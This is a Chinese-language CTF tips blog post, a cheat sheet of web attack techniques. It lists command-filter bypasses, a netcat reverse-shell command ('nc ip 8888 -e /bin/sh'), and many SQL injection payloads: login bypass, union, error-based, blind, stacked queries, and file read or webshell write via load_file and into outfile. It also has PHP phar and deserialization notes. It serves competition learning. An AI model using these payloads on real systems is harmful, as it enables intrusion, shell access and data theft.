CTF Tips
本文最后更新于 1474 天前,其中的信息可能已经有所发展或是发生改变。

Web

常见的几个HTTP IP头

x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-ip
x-remote-addr
x-client-ip
x-client-IP
X-Real-ip

 

Curl指定源端口访问网站

curl --local-port 51 http://XXXXXX

Bash命令执行空格被过滤

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

反弹Shell

https://blog.csdn.net/qq_45521281/article/details/105351352
客户端监听
nc -lvp 8888 
服务端连接客户端
nc 客户端ip 8888 -e /bin/sh 
# windows上:nc ip 8888 -e c:\windows\system32\cmd.exe 

 

 

SQL Injection

判断是否存在注入

首先判断查询参数是 int型 还是 字符串类型。

xx.xx/index.php?id = 1+1

若结果输出为 id=2 则为int 类型

?id=1 and 1=1和and 1=2后发现页面没有变化,则判断不是整型注入

否则,可以直接尝试闭合单双引号

xx.xx/index.php?id=1'

万能密码

1' or true --
1' or !false --
1' or 2>1 --

关键词替代

空格被过滤

/**/
/*1*/

若某关键词被过滤,双写在内部

如union --> uniunionon
  select  --> seleselectct
  from   -->  frfromom

union被过滤

利用  /*!union*/  可以绕过对union的过滤

or被过滤

使用
||
替代

select被过滤

1.偷天换日

参考 [强网杯 2019]随便注

1、将words表名替换成其他的

2、然后将 `1919810931114514` 这个表名称替换成words

3、在把flag这个字段替换成data

4、最后再插入一个id字段

最终的查询结果就可以输出我们构造的新的words了

payload

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

2.HANDLER … OPEN查询

参考[GYCTF2020]Blacklist

payload

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

堆叠注入

用分号结束一个语句来实现执行任意的sql语句
1';show databases;#
1';show tables;#

查看表结构

show columns from users

对数字库名,表名查询时,需加反引号

0';desc `1919810931114514`;#

 

异或注入

https://www.jianshu.com/p/27df5c67157c
base = "0^(ascii(substr(database(),1,1))=103)"
tableName = "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>100)"
colName = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),1,1))>100)"
content = "0^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),1,1))>100)"

报错注入

updatexml(1,concat(0x7e,(select databases())),0x7e),1)
%27or(select(updatexml(1,concat(0x7e,(select(database()))),0x7e),1))%23
updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)

 

 

反引号注入

反引号在MySQL中是用来转义关键字的,若某字段为MySQL中的关键字,可用反引号来转义

查看表结构

desc users

 

desc `users` `xxx`

此时将返回空但不因xxx是payload而非合法sql语句而报错

若下列有select查询,则反引号不会对联合查询造成影响,如

select 'flag{xxx}' from secret_flag` `union select 13 limit 1,1

正常执行而没有报错

联合注入

数据库名

select id from video_info union select database();
index.php?id=-1%df%27+union+select+1,database()--+
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(database())#

获取表

?id=-1%df'+union+select+1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(table_name)/*s*/frofromm/*s*/information_schema.tables/*s*/where/*s*/table_schema=database()#

获取字段(后面为16进制表名)

?id=-1%df'+union+select+1,(select group_concat(column_name) from information_schema.columns where table_name=0x63746634)--+
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(column_name)/*s*/frofromm/*s*/information_schema.columns/*s*/where/*s*/table_name=0x636f6e74656e74#

获取内容

?id=-1%df'+union+select+1,(select flag from ctf4)--+
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(context)/*s*/frofromm/*s*/content#
#order by查列数
admin' order by 4#

#查回显位
-1' union select 1,2,3#

#查库 得到库名'geek'
-1' union select 1,2,database()#

#查表 得到表名 'geekuser,l0ve1ysq1'
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'geek'#

#查列 得到列名 'id,username,password'
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'l0ve1ysq1'#

#查flag
-1' union select 1,2,group_concat(password) from  l0ve1ysq1#

 

读文件/写webshell

LOAD_FILE

#加载本地文件(服务器上)
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
#任意内容输出到文件(括号里面用16进制的ASCII)
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’) into outfile ‘c:\\wamp\\www\\test.php’)

布尔盲注

相关函数

MID(str,1,3) #字符串截取
ORD() #转ASCII
Length() #统计字节长度
version() #数据库版本
database() #查看数据库名
user() #查看当前用户

获取数据库名长度

#通过密码正确与否等提示来判断数据库名的长度
username=usr' or Length(database()) >1 #&password=pwd

获取数据库名

username=usr' or mid(database(),1,1) =120 #&password=pwd

获取表总数(or 后布尔值判断部分)

(select count(TABLE_NAME) from information schema.TABLES where TABLE_SCHEMA=database())=1

获取表的内容 (逐位爆破)

mid((select TABLE NAME from information schema.TABLES where TABLE_ SCHEMA=database() limit 0,1 ),1,1) = 'a'

获取表字段数

(select count(COLUMN NAME) from information schema.COLUMNS where TABLE_ NAME=0x61646d696e)=8

获取第一个字段的内容

(select COLUMN_ NAME from information schema.COLUMNS where TABLE_ NAME=0x61646d696e limit 0,1) = 'id'

延时注入

获取数据库数,如果数据库数量大于1,则会延迟响应5秒

id=2 and Sleep( if( (SELECT count(SCHEMA NAME) FROM information schema.SCHEMATA)>1,0,5 )

其余和布尔注入一样,先获取数量后获取长度最后逐位爆出全名

宽字节注入

使用GBK编码的数据库会存在宽字节注入

xx.xx/index.php?id=1%df%27 ...(联合语句)... %23

SQL别名

(select 1 from (select count(*),concat(version0,floor(rand(0)*2)) x from information schema.tables group by x)a)

等效于

(select 1 from (select count(*),concat(version0,floor(rand(0)*2)) as x from information schema.tables group by  x) as a)

.

 

PHP

PHP常用函数

mb_strpos() //返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串

mb_substr() //函数返回字符串的一部分。

//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾

 

PHP 各数据类型范围

uint8 : 0 to 255

uint16 : 0 to 65535
uint32 : 0 to 4294967295
uint64 : 0 to 18446744073709551615
int8 : -128 to 127
int16 : -32768 to 32767
int32 : -2147483648 to 2147483647
int64 : -9223372036854775808 to 9223372036854775807

 

PHP伪协议

php://

...

 

phar://

例题:https://www.jianshu.com/p/5b91e0b7f3ac

phar文件是php的压缩文件,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,phar://与file:// , php://等类似,也是一种流包装器

关于phar的格式:https://blog.csdn.net/u011474028/article/details/54973571

关于phar://的利用:https://xz.aliyun.com/t/2715

phar://利用条件:

1)phar文件要能够上传至服务器

2)要有可用的魔术方法为跳板

3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

 

PHP序列化

序列化常用函数

https://www.cnblogs.com/20175211lyz/p/11403397.html

 

令对象属性个数的值大于真实个数的属性可使得 __wakeup() 失效

https://www.cnblogs.com/linfangnan/p/13520608.html

 

序列化关键词替换过滤大小增大时可以造成用户控制序列化内容

https://www.cnblogs.com/litlife/p/11690918.html

 

反序列化总结

https://xz.aliyun.com/t/7570

 

PHP刷题

[GXYCTF2019]禁止套娃 

https://www.cnblogs.com/wangtanzhi/p/12260986.html

知识点

无参数函数RCE

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE

[BJDCTF2020]ZJCTF,不过如此

preg_replace() /e 模式存在RCE,因此被弃用

https://xz.aliyun.com/t/2557

 

上一篇
下一篇